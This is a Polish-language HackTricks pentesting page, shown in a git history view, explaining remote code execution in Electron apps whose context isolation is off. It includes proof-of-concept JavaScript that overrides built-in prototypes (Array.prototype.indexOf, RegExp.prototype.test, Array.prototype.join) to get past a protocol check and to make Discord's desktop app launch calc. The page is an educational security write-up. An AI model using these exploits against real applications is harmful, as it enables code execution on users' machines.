hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

105 lines
6 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Electron contextIsolation RCE za pomocą kodu preload
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Przykład 1
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Przykład z [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Ten kod otwiera linki http(s) w domyślnej przeglądarce:
2022-04-20 12:35:33 +00:00
2022-06-27 08:48:17 +00:00
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Coś takiego jak `file:///C:/Windows/systemd32/calc.exe` można użyć do uruchomienia kalkulatora, ale `SAFE_PROTOCOLS.indexOf` temu zapobiega.
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Dlatego atakujący mógłby wstrzyknąć ten kod JS za pomocą XSS lub dowolnej nawigacji strony:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-11 01:46:25 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
```
2024-02-11 01:46:25 +00:00
Jako że wywołanie `SAFE_PROTOCOLS.indexOf` zawsze zwróci 1337, atakujący może ominąć zabezpieczenie i uruchomić kalkulator. Ostateczny exploit:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-11 01:46:25 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
2024-02-11 01:46:25 +00:00
Sprawdź oryginalne slajdy, aby poznać inne sposoby uruchamiania programów bez konieczności pytania o uprawnienia.
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Wygląda na to, że kolejnym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak `file://127.0.0.1/electron/rce.jar`
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
## Przykład 2: RCE w aplikacji Discord
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Przykład z [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Podczas sprawdzania skryptów preload, odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą `DiscordNative.nativeModules.requireModule('NAZWA-MODUŁU')` na stronie internetowej.\
Tutaj nie mogłem użyć modułów, które można bezpośrednio wykorzystać do RCE, takich jak moduł _child\_process_, ale **znalazłem kod, w którym można osiągnąć RCE, nadpisując wbudowane metody JavaScript** i ingerując w wykonanie udostępnionego modułu.
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Poniżej znajduje się PoC. Potwierdziłem, że aplikacja **calc** jest **uruchamiana**, gdy wywołuję funkcję `getGPUDriverVersions`, która jest zdefiniowana w module o nazwie "_discord\_utils_", z narzędzi deweloperskich, jednocześnie **nadpisując `RegExp.prototype.test` i `Array.prototype.join`**.
2022-04-20 12:35:33 +00:00
```javascript
RegExp.prototype.test=function(){
2024-02-11 01:46:25 +00:00
return false;
2022-04-20 12:35:33 +00:00
}
Array.prototype.join=function(){
2024-02-11 01:46:25 +00:00
return "calc";
2022-04-20 12:35:33 +00:00
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
2024-02-11 01:46:25 +00:00
Funkcja `getGPUDriverVersions` próbuje uruchomić program przy użyciu biblioteki "_execa_", w następujący sposób:
2022-04-20 12:35:33 +00:00
```javascript
module.exports.getGPUDriverVersions = async () => {
2024-02-11 01:46:25 +00:00
if (process.platform !== 'win32') {
return {};
}
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
return result;
2022-04-20 12:35:33 +00:00
};
```
2024-02-11 01:46:25 +00:00
Zazwyczaj _execa_ próbuje wykonać "_nvidia-smi.exe_", który jest określony w zmiennej `nvidiaSmiPath`, jednakże ze względu na nadpisanie `RegExp.prototype.test` i `Array.prototype.join`, **argument zostaje zastąpiony przez "**_**calc**_**" wewnętrznym przetwarzaniem** \_execa**\_**.
2022-04-20 12:35:33 +00:00
2024-02-11 01:46:25 +00:00
Konkretnie, argument jest zastępowany poprzez zmianę dwóch następujących części.
2022-04-20 12:35:33 +00:00
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>